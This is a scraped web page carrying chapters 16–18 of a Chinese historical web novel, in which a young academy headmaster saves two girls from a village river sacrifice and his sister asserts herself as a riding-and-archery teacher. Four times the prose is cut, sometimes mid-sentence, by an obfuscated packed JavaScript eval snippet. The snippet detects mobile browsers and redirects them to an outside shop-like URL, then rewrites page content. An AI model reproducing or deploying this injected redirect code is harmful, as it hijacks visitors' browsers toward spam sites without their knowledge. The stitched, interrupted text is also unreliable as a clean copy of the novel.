;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133440|149985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烤一下外衣。”林清和沉吟一声掩盖住心中的怒火,转换话题,“你们还想回去吗?” 就这样欺骗无知天真的小女孩,难道他们的良心不会痛吗?再怎么样,林清和还是要尊重两个小女孩的意愿。 秋大花手上没什么力气,但还是自己脱下了外衣给王车夫,还帮着秋小湖一块脱掉外衣,听见林清和问她们想不想回去,瞬间就变了脸色。 “恩人,你要我做什么都行,别把我赶走!”秋大花猛然朝林清和一跪,深深恐惧着,如果眼前这个男人不要她的话,她又能去哪里,回家了还是要被抓起来祭祀。 村里人连无父无母,吃百家饭的秋小湖都骗上了供台,还有什么事情是不能做出来。 秋小湖懵懵懂懂的也跟着秋大花一起朝林清和跪下,跟着秋大花一块说:“不要赶我们走。” 王车夫手里拿着两件红衣,不知所措地看着眼前这一幕,他的眼神不自觉地转向林清和,祈求的目光不言而喻。 “没说要赶你们走,快起来,你们不要跪着我。”林清和看着眼前一大两小,烦躁的揪着头发,“快起来!” 秋大花和秋小湖被林清和严厉的呵斥吓得马上站起来,脑袋低垂,手指绞紧了衣角,不敢出声。 气氛刹时沉闷,林清和头痛的摸摸自己的脑袋,都怪着这个时代,好好的小孩怎么教成这样了。 他深吸了一口气,调整好表情,嗓音轻而缓和的说道:“既然你们不愿意就算了,之后和我一起回书院念书,这么小点的孩子不读书认字是个什么理。” 话音刚落,王车夫喜笑连连,搓着手让俩小丫头向林清和道谢,“还不快谢谢林先生,读书认字这可是天大的好事啊!你们这叫什么,大难不死必有后福啊!” 秋小湖怯生生的看了眼风度全无,头发湿乱,面带笑意的年轻男子,细细地说道:“谢谢林先生。”她伸手抓紧了一下大花姐姐的衣角。 她还记得是这个人在浑浊的江水底下救了她。 秋大花如雷击一般定在原地,稚嫩的小脸上充满了不可置信,口中重复道:“是真的吗,是真的吗?能读书认字,再也不用求人的那种!” 林清和点点头,“是真的,你们坐下来吃饱,好好休息,等我做完事就带你们回书院。” 王车夫在一旁连连点头,“这可是青山书院的林先生,专门为了你们秋家村的一个学子来的,过来是要家访,对吧,林先生?” 林清和喝了口水点头,喝上水了,差点渴死。 “你们认不认得秋宜年?”林清和看着两个埋头啃干馒头的小女孩,试探着问道。 应该没什么关系吧,他们之间? 秋大花进食的动作僵住了,也不继续吃了,闷闷的回应:“他是我兄长,这次的祭祀娘让人给他写信了,但是他没回信,也没有回来。” 不是吧,这么戏剧性?林清和有种想把自己的嘴说出的话收回来的冲动。 16. 第 16 章 一下子把林清和干沉默了,秋宜年知道村子里的村民对自己的家人做了什么吗? 林清和不敢赌一个不确定性,只能硬着头皮问:“你家在哪里,家中可还有什么人?” 秋大花一五一十地回答林清和的问题。 秋大花的家住在秋家村的一个拐角上,院子里种着一棵高高的柿子树,柿子熟透的季节在村中十分显眼。 秋大花家里还有一个娘亲和一对双胞胎妹妹,原本她们家就是从别处搬来的,正好这个村子叫做秋家村,秋爷爷当时便觉得有缘,于是决定在此定居。 她们在这个村子里的亲戚少,这次祭祀原定是抽签,抽到的那家人不愿意,鼓动着村老们让秋大花代替,说什么,他们家只有一个女儿比不上秋寡妇家有三个,实在是舍不得。 至于另一个抽到签的人家,早早盯住了在村子里无父无母,到处流浪的秋小湖。 “哎呀,这不就是欺负孤儿寡母,没有男人在家看着!”王车夫一听秋大花说完,急得猛拍大腿。 林清和抿了抿唇,欲言又止,最后也只是说道:“王大伯,你带她们两个在这里等我,我去一趟大花家中了解情况,天要是快黑了,你们就先回去林府,银子我先给你结清。” 说着林清和就拿出钱袋掏出银子递给王车夫,还额外多给了一部分,毕竟“抢”河神贡品的事在古代可是大不敬。 王车夫推拒了两声,只说等林先生一起回去在结清银钱,但没能拒绝林清和的硬塞,接过了银钱。 林清和把剩下的干馒头快速吃完,去江边洗了把手,将凌乱的黑发归顺好,整理整理身上的书生长袍。 他照着微波粼粼的江面,映出的身影看着差不多,就和王车夫说一声出发了。 此地离秋家村不远,走个二十分钟就到了。 林清和一进到秋家村明显感觉到有人在不断扫视自己,还不止一个人。 他看准目标,一位在村口井边打水黑色衣裳的大姐,他微笑着上前询问:“这位大姐,请问一下秋宜年家是住在这个村子吗?” “秋宜年?”那大姐拉起水桶的绳子,将水桶从井中提出,“你是说秋寡妇家的儿子,秋宜年?” 糟了,该不会是秋宜年收到信找人回来阻止祭祀了吧?她们明明已经将送出的信替换了,秋宜年怎么可能收到信? “你是谁?为什么来找他?”黑衣大姐狐疑又警惕的看向林清和。 哟!这身上的料子好得很呐,县城铺子里头卖得贵着呢,怎的就拿来做外罩了,这小书生看着贵气得很呢! 林清和不动声色任由黑衣大姐上下打量,“我是他的同窗,先前他找我借了十两银子,一直没有还,书院里也没见到他,想着来他家找他还钱。” “十两银子?你说什么,那秋宜年找你借了十两银子跑了?”黑衣大姐顿时拔高声量,眼睛都要从眼眶里跑出来了。 秋宜年这崽子也会做这种事,要是那清高的秋寡妇知道了还不知怎么哭呢!叫她看不起村里人! 十两银子说借就借,这书生怕不是个傻的,十两银子够一大家子嚼用好几年了,怎么那么傻!这要是她不得把银子好好藏起来,死也不拿出来。 黑衣大姐的表情既痛心又不舍,好像她才是十两银子的主人似的。 随着黑衣大姐大嗓门的传播,林清和感觉在自己身上的视线少了,剩下的更多是好奇。 “大姐,秋宜年家在哪,这银子要不回去,我就要被我爹家法伺候了。”林清和好脾气的等黑衣大姐消化完令她恍惚的消息。 “书生你看见那颗高高的柿子树没,那里就是秋宜年家。”黑衣大姐心不在焉地回答林清和的话,此刻她的心思全被那虚无的十两银子摄住了心神。 林清和朝她道了声谢,就往秋宜年家走过去。 “哎哎哎,那俊俏的小书生过来干什么的?听着好像要找秋宜年家?”呼啦啦一群无事可干的人围住了黑衣大姐。 “人来找秋宜年要钱的,秋宜年在书院欠了十两银子,整整十两银子啊!”黑衣大姐神气十足的向围观的村民说道。 “哟,这事儿,今儿赶巧还是祭祀,秋寡妇家,难了难了。”话语里的落进下石,不怀好意几乎溢出满满黑色的污秽。 “麻绳专挑细处断,厄运只找苦命人呐。” “你同情,你可怜,你怎么不让你家丫头去伺候河神老爷,装什么相!” 今年的祭祀,秋家村大部分人都默认了秋小湖和秋寡妇家必须要有一个去,甚至让村里认得些字的人拦截秋寡妇家的信,伪造秋寡妇在村中一切安好的景象,就算发现祭祀也已经过去了。 秋宜年总还是在秋家村住下去的,他一个未考得秀才的书生,谁知道什么能考上,也许是他七老八十的时候,总不好现在得罪秋家村的村规族法。 林清和的到来给村里人吓了一跳,以为事情那么快就暴露了,结果是过来要债的,整整十两银子,谁知道秋宜年在定江县里在鬼混什么。 “扣扣。”林清和叩响门扉,聆听着里头匆匆的脚步声逐步靠近。 “吱—呀—”破旧的木门发出不堪重负的响声,来人头簪一朵小白花,身上的衣裳偏素色,神情枯槁,眼睛红肿若核桃。 “是阿年让你来的吧,快进来坐,婶子这里也没什么好东西招待你,喝得惯糖水吗?”秋寡妇转身领着林清和进门。 院子不大,打理得干干净净,每一寸土地都用到了极致。靠院墙的柴垛码的整整齐齐,开垦的小菜地郁郁葱葱,还建了一圈围栏防止小鸡进去啄菜吃。 门口前还坐着一对长得一模一样的小女孩,看着有五六岁的样子,正在认真地剥豆子。 双胞胎看见林清和进来了,齐齐抬头对他甜甜笑了一下又低头继续一颗一颗地剥起来。 “不用,婶子你先坐,我们先聊聊发生了什么。”林清和叫住秋寡妇。 秋寡妇背着身,没动,“不用说了,你来迟了,大花已经被献祭了……” 秋寡妇心里没有怨怼,说实话那是不可能的,为什么不早点来,这样她的大花就不用死了,她也怨不得别人,怪只怪自己为什么是个寡妇,男人死得早,唯一的儿子又被她送去书院念书,未曾想,一到祭祀就自家女儿被村子里的人逼着推上去供台。 她恨呐,她怎么能不恨。 泪水无声坠落。 看着眼前失去孩子的母亲,林清和无声叹了口气,轻声说道:“婶子,我不是秋宜年找来的帮忙的同窗。我是青山书院的先生,姓林,今日登门拜访实属冒昧。” “什么?你不是?”秋寡妇惊诧转过身,指腹抹了抹眼角,“林先生前来有什么事,是不是阿年在书院里出什么事了?”怪不得一直没有信捎回来,这可怎么办才好啊? “秋学子在书院里表现优异,这次过来是为了了解秋学子家中的情况。”林清和耐心的解释,“刚才婶子说的献祭是怎么回事,大光早已不能用人祭祀,若是被官府发现是要抓去流放,怎么还敢有人明知故犯。” 大光王朝从战乱流离中建立,往日种种礼俗早就被废了七七八八,其中就有用童男童女祭祀一项。 秋寡妇惨然一笑,“秋家村不会有人让你出去告发,就算来衙役进行调查,村子里的人也会层层隐瞒,互相打掩护,狡辩孩子是贪玩不小心失足掉水里死的。” “也就是说大花是被村民强抢过去献祭?”林清和敏锐地抓住了问题的重点,“婶子你其实是不愿意?” “哪个当娘的舍得让自己孩子去受这份罪,我可怜的大花啊,是娘对不住你。”秋寡妇说着眼泪又从眼眶里直直流下。 林清和不忍,开口说道:“我来的路上看见有人在祭祀,好奇多看了几眼,发现是两个不足十岁的女童,悄悄潜入江中把她们救上岸,现在已经苏醒了。其中有一个就叫做秋大花,兄长叫做秋宜年。” “我那时候想着,这可真是巧到家了。”林清和朝秋寡妇狡黠一笑。 秋寡妇不知何时捂住自己因激动而张大的嘴巴,满脸震惊的盯着林清和,这是骗人的吧? “嘘。”林清和左手食指轻竖唇中间,眼睛里星星点点的笑意安抚着不敢置信的秋寡妇。 “我进村子里用的借口是秋宜年欠我十两银子,祭祀刚结束,村子里就来生人,村民们肯定很警惕,若是我走后有人上门来打听,婶子就用这个借口打发她们走。” “大花就劳烦林先生带给我家小子阿年照看了,有什么要做的尽管吩咐大花,别看大花年纪小,做事情还是很麻利的。”秋寡妇笑中带泪。 这是秋寡妇这些天提心吊胆以来听到的最好的消息了,她非常清楚大花是绝对不能留在村子里生活了。 接下来的话题才轮到林清和的家访,林清和依照着前面家访惯有的流程询问了一遍秋寡妇。 在秋寡妇的嘴里她们家秋宜年就没有什么不好的,家里家外干活的一把子好手,她唯一担心的就是耽搁了秋宜年的温书时间。 最后林清和看着时间差不多,提出辞别,并嘱咐秋寡妇伪装好痛失孩子的日常生活,不要被村民发现。 林清和嘱咐完匆匆告别秋寡妇,再晚就赶不回去定江县了。 离秋家村村碑不远处,王车夫赶着驴车,远远地看见一个清瘦的身影正在小跑向前。 “是林先生吗?是林先生吗?”王车夫扯着嗓子大声呼唤。 林清和大幅度用力挥挥手,放慢了向前的步伐,慢慢平复自己的呼吸。 五月的太阳不是很大,照在人身上暖洋洋的,但林清和已经在太阳下跑了将近二十分钟,背部的衣裳被濡湿,额头上也冒出细密的汗珠。 驴在王车夫的驱赶下,很快来到林清和的身边,林清和见状直接撑着一口气跳上驴车,坐下来休息。 王车夫刚将驴车调头就听见林清和问:“那两小孩呢?” “都在呢都在呢,林先生仔细看看就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秋大花将信就疑,手中仍不肯放开林清和的裤腿,秋小湖紧紧贴在秋大花身后,大有姐姐不走我也不走的架势。 “怎么了,我的鱼都喂好了,哥哥你好磨蹭啊。”林槐夏边说边提着一盏美人灯缓缓走过来。 黑色的夜远远落在林槐夏的身后,一张清雅仙丽的脸庞在烛火映照下越发出尘。 秋大花被林槐夏提灯走来这一幕深深吸引,手指头不知不觉放开了林清和的裤腿。 好漂亮,就像娘亲说的仙女一样。 秋小湖的反应更加直接,脱口而出就是,“你是从天上下来的仙女吗?” 还没等林槐夏开口,林清和就先调笑道:“对的对的,仙女姐姐带你们去洗澡吃饭睡觉觉,我先走了。” 林清和说完快步离开,累了一天了,早点洗澡吃饭睡觉。 哥哥的人影都跑没了,这两小家伙还在直勾勾盯着她看,她有这么好看吗?林槐夏眉头轻皱。 “罢了,你们跟我来吧。”笨蛋哥哥还是一样不靠谱,这个家没我不行。 林槐夏提着美人灯,配合小孩子的脚步,慢慢走,轻声细语的问她们怎么被哥哥带回来。 秋大花,秋小湖你说一句,我说一句,踊跃回答林槐夏的问题。 秋大花的眼神一直盯着林槐夏的身上没下来过,仙女姐姐好好看啊,靠近了更加好看了,身上的衣服也好好看,好香好香,眼睛好温柔啊。 通过两个小孩的言语,林槐夏拼凑出今天哥哥出门不仅干了家访一件事,还跳进江中救了两个成为祭品的小女童。 林槐夏怒极,现在世道好着呢,怎么就总有人偷偷行人祭,大光王朝在女帝的治理下,从来没有百姓偷偷祭祀,这才多久,又来。 安顿好秋大花秋小湖,林槐夏一脚踏进了林清和的房间,拍醒了睡得正香的林清和。 “小四月,你怎么来了,早上了?”林清和睡眼朦胧,强撑着精神询问。 “你什么时候学会泅水了?”有胆子跳江救人,没胆子回来说,秋大花不说她都不知道,当时秋大花她们脚上都绑着石头,还救了两个,嫌自己的命大? “一直会啊,我们一起学的……”林清和说着说着,声音越来愈小,眼皮也耷拉下来。 “不许睡!啊啊!你给我起来!”林槐夏甩了半天林清和的衣领都没法让他醒过来。 林槐夏气哼哼的在林清和的房间里来回走了两圈,“哼!什么毛病!也不知道想着点家里人,万一出点什么事怎能么办?” “气死我了,又不能在这个时候告诉爹娘,青山书院已经够他们烦的了。不行,我要写信告诉白琅月,总不能只有我一个人提心吊胆吧!” 这么想着,林槐夏直接就回自己院子书房开始写信给白琅月,吐槽自己兄长的不靠谱,让他赶紧一块帮忙想想办法解决哥哥的搞事能力。 17. 第 17 章 次日清晨,青山书院传来书声琅琅,文气浩然。 “秋宜年,跟我出来一趟。”刘野先生突兀地出现打断了书声,他站在门口扬声叫了一句秋宜年。 屋内顿时安静,众人目光皆看向前排秋宜年的背影。 秋宜年放下手中的书本,默默走出去。 “还不快读书!”刘野先生见没有学子念书,出声喝道,屋内复又书声渐起。 “跟我走吧。”刘野对着自己看重的学子,态度好了不少。 秋宜年颔首,一路跟在刘先生身后,心里猜测着是什么事情居然让刘先生一大早就来找他。 不知不觉间走到了院长的院子内,秋宜年看着里面标志性的石竹,他疑惑的开口:“刘先生走错院子了吧?” 刘野一笑,“没有走错,是林院长找的你。” 秋宜年一愣,林院长找他?他最近没做什么出格的事情啊? “快进去吧,别让院长就等了。”刘野拍拍秋宜年的肩旁,“林院长只比你大几岁,人还是比较容易相处的,放心。” 秋宜年这才走进种满石竹的院子内,说起来,这还是他第一次来到院长的院子内,往常都是匆匆路过,也没有仔细看过。 石竹花一看就是用了心思,打理得很好,紫红粉白,色泽深郁,花色艳丽,密密矮矮开满了院子两侧。 “你来了,秋学子?”林清和站在其中一间房间半开的门口前,微微笑看着立在花间小径的秋宜年。 林清和身后半开的门口被逐渐拉大,冒出两个扎着小啾啾的小孩,秋宜年蓦然睁大眼睛。 大花?她怎么在这里?还有小湖? 秋宜年顿感大花她们为什么会莫名其妙在院长这里,也明白了林院长为什么会突然找自己。 “林院长,为什么家妹会在你这里?”秋宜年惊讶地质问林清和。 “你说她们?”林清和随意一瞥身旁的两个小豆丁,随口说道:“去你家家访,在秋家村的地界不远处的祭祀上捡来的。” “这事你知道吗?”林清和说完,目光意味深长的看向脸色苍白的秋宜年。 秋大花和秋小湖跑过去围着秋宜年,扯着他的衣袖跟他说话,“哥哥,娘亲给你写的信,你收到了吗?” 信,什么信?他这次来书院一封家书也没有收到。 秋宜年抖着毫无血色的嘴唇,他们怎么敢,居然还在祭祀,竟然还把主意打在他妹妹身上,好在,大花没事。 林清和看秋宜年颤抖着身子,说不出话的样子,就知道秋宜年对村中拿他妹妹祭祀这件事情毫不知情。 “哥哥……没收到。”秋宜年干哑的嗓子憋出几个字,“家里怎么样了,娘和妹妹们还好吗,有没有受伤?” 秋宜年弯下腰双手用力握紧秋大花小小的两只胳膊,双目泛红涌动着水光。 “疼,哥哥,我不知道,林先生去看娘亲了。”秋大花被秋宜年不似平常沉稳的模样吓坏了,带着哭腔喊着疼。 林清和走了过来阻止失去控制的场面,令秋宜年放开秋大花,“你娘亲没事,但是祭祀这件事情你打算怎么处理?” 秋大花带着秋小湖跑开,躲在房间门后面偷偷看着他们交谈。 秋宜年沉默了,他没有任何办法惩罚村民,难道他要将一整个秋家村状告上衙门,让乡里乡亲都被流放,这之后呢? 还有哪个村子能够让他们接着住下去?来县里生活,成本太高了,吃喝拉撒睡样样都要钱。 不得不说,这是一个非常现实的问题。 “既然现在想不出,那就等想出了再做打算。”林清和轻快一笑,“总有想明白的时候。你娘亲和双胞胎妹妹现在很好,秋婶子还和我说了好多夸你的话。” 林清和不打算为秋宜年做决定,这不是他的人生,他也不可能事事亲为,人力有时,只能适当的提出方向。 听见林清和略带调侃的语气说出,先生如何善用欠债还钱的借口来到他家,告知大花死里逃生,并且他娘亲在家访一顿夸自己时,秋宜年闹了个大红脸,耳根子直烧。 沉闷的气氛一扫而空,秋大花大着胆子蹦过来,兴奋地向秋宜年说道:“哥哥,你知道吗,我也可以在书院读书了!” “不止是大花姐姐,小湖也可以一起!”尖细的童音随后跟着秋大花的话就起来。 “林院长这是?”秋宜年内心感激林清和对他们家的恩情,但是怎么大花和小湖就要来书院念书了呢? 寻常人家都是送儿子来读书,一般私塾和书院也不收女学生,林院长这是? “两个小孩子,才这么点大,能干点什么,不如都来读书,书院和先生都是现成的,教一个是教,教一群也是教。”林清和风轻云淡对秋宜年丢下了一颗炸弹。 也不管秋宜年恍惚的神情,林清和留下一句你们兄妹几个好好聊聊就去了隔壁的先生院子。 隔壁院子里,林槐夏等人早就坐在大圆桌那里开始讨论最近的家访进度了。 大家的进度都差不多,只剩下一两个住得比较偏远的学子,这样看来还是林清和速度最快,已经完成家访。 “我看呐,有些学子在书院里那是叫做一个油盐不进,没想到,在家里居然是个听话的乖宝宝,去学子府上家访一趟,收获不菲。”胡宋明先生解气的说道。 柏季同先生在一旁应声道:“简直拿捏住了某些学子的命门。” “还在百姓间改变了青山书院的名声。”白相先生接过话茬。 “以及气坏了某些暗中唱衰青山书院的人。”刘野先生收尾。 几位先生不约而同看向对方哈哈大笑。 青山书院接连几日的家访活动丝毫不避讳其他书院的打量观察,总让定江县其他书院有种青山书院迟早要完的错觉。 然而,事情却出乎他们的预料,青山书院的名声由下而上悄悄发生了改变,就在家访活动结束之后。 有些早早让自家孩子离开青山书院的富户不免在心里打鼓,青山书院是要倒了还是要起来了?他们自然也去问了还在青山书院的人家,没想到啊,个个滴水不漏,硬是嘴皮子磨破了还是只得了几句车轱辘话。 废话,你家要是反悔再进青山书院,我儿岂不是又多一个竞争对手,二十九个人已经很多了,好不好。 “今天下午是槐夏你第一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133442|149985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进行教学,还是骑马射箭,刺不刺-激?”林清和揶揄正在写家访总结的林槐夏。 “刺-激,刺-激死了,你的家访总结写了没,没写赶快写,还院长呢,自己下发的任务,自己都不干。”林槐夏在几位先生面前越来越放开了,都敢直接上嘴怼林清和了。 林清和一脸郁闷坐下来开始写家访总结,可恶!他明明就是为了提高青山教学质量才提出的写家访总结,是为了卷先生们,才不是为了放松自己,为什么现在自己也要开始写总结了。 时间很快随着林清和的不断书写而流逝,他看写的差不多了,就先搁笔放置一旁晾干,随后走去隔壁院子,看看秋家兄妹说完话没有。 “林院长你回来了?”秋宜年抱着秋大花转身瞬间看到了林清和,连忙放下秋大花,向林清和问好。 “嗯,你们兄妹聊完天没?”林清和倚靠在院门口朝他招手。 秋宜年默默称是,并在了解祭祀事情经过之后又再一次郑重地向林清和道谢,而后又说了自己的打算。 这次书院旬休回去,秋宜年打算和娘亲商量一下要不要把村子里的田地和房子都卖了,直接来定江县内谋生。 “这样啊?”林清和看着眼前这个不大的少年,才十六岁啊,正是上高中的年纪。“你回去以后好好和你娘商量一下,不要在村里发生什么冲突。” 心下里却在盘算着要不要开个蒙学,据林清和这几天观察,青山书院里的小孩子还是有那么几个的,既然秋大花她们俩能学,自然其他小孩也可以,还可以让某些想当先生的学子提前体验。 “多谢林院长,那家妹就承蒙您多照看,学生先行告退。”秋宜年不舍地看向秋大花,狠了狠心直接头也不回地走了。 “这么……”客气,干什么?林清和话都还没说完,人就走了,这秋宜年该不会以为秋大花以后就归我养着了吧? 林清和忧愁的看着眼前的两个眼睛亮亮的小萝卜头,不管了,多两双筷子的事。 “走吧,去和你们的仙女姐姐吃饭。”林清和推着俩娃娃走向书院的小食堂。 青山书院后的马场是定江县内难得一大片平整的草地,二十匹马儿整齐排列在马场边上,丙班十五名学子稀稀拉拉的向马场走来,他们身上早已换好合适的骑装。 马场不远处身着红色女式骑装的身影正是林槐夏,她利落翻身上马的姿势让胡马头讶异,这可比之前青山书院的学子好太多,怪不得林院长敢让自家妹妹放心大胆上。 林槐夏驾着马,背后背着弓箭,驱使着马儿跑了两圈找回了当初学马时的一点开心。 “你们看,副院长怎么在骑马?”眼尖的学子马上发现了骑上马的不是马夫,而是林槐夏。 “可能只是溜溜马,我听我爹说光都的女子个个都会骑马。” “武先生都没有,骑什么马,射什么箭,马夫都不会射箭!” 随着学子的靠近,他们的议论声也让耳目清明的林槐夏听见了。林槐夏驾着马跑到学子那,厉声喝道:“已经到时间了,还不抓紧时间上马练习!” “什么?居然让一个女子做武先生!青山书院真是不可理喻!” 18. 第 18 章 “就是就是,有哪个读书人是由妇人女子所教?” “副院长,你还是回去绣花弹琴比较好。” 此话一出引来哄堂大笑。 林槐夏手牵缰绳,脊背直挺骑在马背上,一双凤眼冷厉,虽说她不像兄长那般天然具有男子身份,但她可不是好惹的,“是哪个在说女子不配教你们的?让谁回家绣花弹琴?” 丙班学子骤然停止大笑,仍有不怕事的刺头出言挑衅,讥讽道:“就是说你啊,这么大年纪也没嫁出去,该不会是生不出孩子,没人要吧?我看你长得还不错,不嫌弃你年纪大,明天就上门提亲娶你,怎么样,哈哈哈哈!” 简直猖狂至极,林清和看着不远处马场发生的冲突,平常总带着随和的神情此刻彻底黑了下来,他和身旁的木管家说道:“这个学子重点记下,以后重点观察。” 木管家点点头,神情不□□露出担忧,毕竟是看着长大的孩子。 这么不尊重女性的男人留在书院里也会带坏其他学子,甚至会对他未来的改革计划产生影响,不如早早让他回家。 不过在此之前,林清和会好好看看林槐夏如何处理这件事情,如果这个事情都没有办法自己争取在学子中的地位,那么也没有办法经历以后的风浪。 “杜晃!”林槐夏一眼就认出了正在说话的学子是谁,“原来是你。” “对,就是我,原来你还认得小爷我,不会是对小爷芳心暗许了吧?”那身形肥胖壮硕的少年郎一脸猥琐。 周围发出一阵隐隐笑声,其他学子的脸上神情各有不同,但都摆明了看好戏。 林槐夏骑着马儿走过去,居高临下地看着杜晃,目光幽深,语气不明,“不巧,昨天刚从你府上家访回来,听杜老爷和杜夫人说了你很多小时候的事情,需要副院长我在这里为你的同窗们好好说道说道吗?” 杜晃脸上的表情从他家家访回来开始就逐渐裂开,白胖的脸涨的通红,嘴里仍不知好歹,“你敢?” 林槐夏在空中甩了一个响鞭,驾着马儿转身离去没有再理会杜晃,朗声说道:“现在,去挑马练习骑射。” 其余学子纷纷听从林槐夏的话语行动,没人不敢动啊,每个人都看见了班里的刺头如何被这新来的副院长一句脏话狠话都没说,直接让这杜晃没脸,甚至说不出反驳的话吗? 眼见众人一个个接连离他而去,发狠似地吼道:“你不过就是仗着自己的父亲是青山书院的院长罢了,如今青山书院也快倒了,我看你最后会不会求着我娶你!” “唰!唰!” 三枚利箭穿过众多学子的缝隙直接钉在杜晃前面,尾羽轻颤,入土三分。 差一步,只差一步,他的脚就没了,杜晃惊恐地睁大眼睛,一股热流顺着他的大腿流下。 其他学子见林槐夏突然转身搭弓射箭,三枚箭矢齐发,目光冷厉,毫不犹豫射出,视线不由得定格在林槐夏冷漠的脸上。 至于箭矢愣了两三秒才转头往回望。 喝!三根利箭分毫不差均匀分布在杜晃的前一步位置。 杜晃衣袍下的水迹慢慢延伸至箭矢入土方向。 早说你有这本事啊!众学子大惊失色。 丙班学子紧了紧身上的皮,咽咽口水,这不是女娇娥,这是罗刹出世。 “呵,现在能好好听我说话去上课了吗,杜学子?”林槐夏轻飘飘地说道,“恐怕其他先生没有和你们正式说过,如今先生们去访问的学子家,以后也是那位先生负责,一直到这位学子从青山书院毕业。” 众人寒毛直竖,心里发慌,疯狂回想着自己是不是属于林槐夏分管的。 杜晃面如死灰,不敢动弹。 笑死,其余学子根本不看细看,只抓紧时间去找马,生怕副院长一支利箭就射在脚下。 过了好一会儿,杜晃耳朵里远远听见林槐夏淡淡说道:“拔箭出来交给胡马头,然后滚过来上课。” 看着气场全开的林槐夏震慑全场,林清和开心的笑起来,骄傲的挺起胸膛向木管家吹嘘:“怎么样,我当初说的没错吧,女孩子还是要学点武才有用。” “嗯嗯,大少爷说的是。”木昭管家笑着应和,怪不得大少爷没有学武,原来是把机会让给小姐了。 当初木昭管家找来的那位武术大家直接言明,他只教两个弟子。木昭当时想着府上两位少爷,两个刚刚好,哪里知道林清和为了让林槐夏学习武术撒泼打滚,甚至不惜答应林启春夫妻俩一些很离谱的要求。 林清和虽然总是遗憾自己当时没有学上武术,但是他知道林槐夏比自己更需要这个机会,万一林槐夏以后嫁到不好的人家,被打了怎么办,没有力气逃跑怎么办? 一想到香香软软,自己看着长大的妹妹可能被人欺负,毫无还手之力,瞬间他就不遗憾自己不能学武了,还是妹妹去学习更有性价比。 林清和看着林槐夏这没什么事后,打算去书院的小食堂看看,找个合适的老师教学子们如何在野外快速完成管饱的一餐。 临近下午两三点的时间,厨房已经开始在准备晚餐了,厨房众人各司其职,忙忙碌碌,没有人发现林清和这个院长和木管事已经站在厨房不远处有一会儿了。 “大少爷,这……”木昭迟疑为什么林清和不上前去仔细问问。 “没事,等他们忙完,我们不进去添乱,书院好几十口人的饭不能耽搁了。”林清和很体谅打工人,他上辈子也是打工人,被老板在工作的时候问问题真的很烦。 有时候甚至觉得老板问出这个问题的时候,老板真的有考虑过给的那点工资够他问出这么离谱的问题吗。他很不理解,反正对于他来说不够,又要受气还要承包老板一些离奇的发问。 在这里站着也不是那么回事,林清和想到了另一堂重要科目的重要候选人,医药的李大夫。于是,林清和让木管家先自己去忙自己的事情,他出书院一趟。 李大夫的药庐离青山书院也不远,可以说青山书院当初建成的时候还非常荒凉,是因为有了书院的成立才有了今天围绕在书院附近各种便利的铺子。 比如说卖各种食物的铺子、书铺、布庄、药庐等。还吸引了其他想要在定江县教书的私塾和书院,江缘书院就是其中之一。 定江县的南边可谓是定江县的文气所在,最多最大的书铺和造纸坊都在那,房价明显也比其他地方高一截。 可能是因为下午的原因,来往的行人稀少,药庐屋沿边下的阴影蹲了一圈遮阳的百姓。他们也不是自己躲避阳光,而是为了挑来的野菜。 药庐飘来一阵苦涩的药味,在干燥的空气中特别提神,林清和踏入药庐内,觉得自己更精神了,张口便问:“李大夫在不在?林家小子来了。” “师父他老人家在坐堂,顺着里头走就看见了,林少爷听说你搞了个什么家访,有趣吗?”站在柜台内小药童先是回答了林清和的问题,然后好奇的询问近日来他从病人口中听到的只言片语。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133443|149985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当然有趣啦,当归,要是你师父哪天不带你突然上你家,你怕不怕?”林清和眨着眼,恶趣味地提醒当归事情的严重性。 哪有小孩不怕老师突然找上门的,更怕的是老师喊家长来学校听你勇敢的事迹。 小当归顿时苦着一张脸,“林少爷你要去就快点去,不要逗我!” 看着当归气呼呼的口吻,林清和踏着轻快的脚步往坐堂的房间里走去。 走至门口,房门大开,只有李大夫一个人坐着,林清和向李大夫先问了声好,才道明来意。 “你是说请老夫去青山书院教导学子如何分辨野外常用的药草还要教他们怎么处理伤口?”李大夫惊奇的看着一脸认真的林清和,佩服他的敢于说出口。 “李大夫您也知道,这些学子以后都是奔着当官去的,若是治理的地方出现疫病或者其他意外情况造成伤亡过重,也好有个判断,不会任由底下官员欺瞒。”林清和一边说一边观察着李大夫的神色。 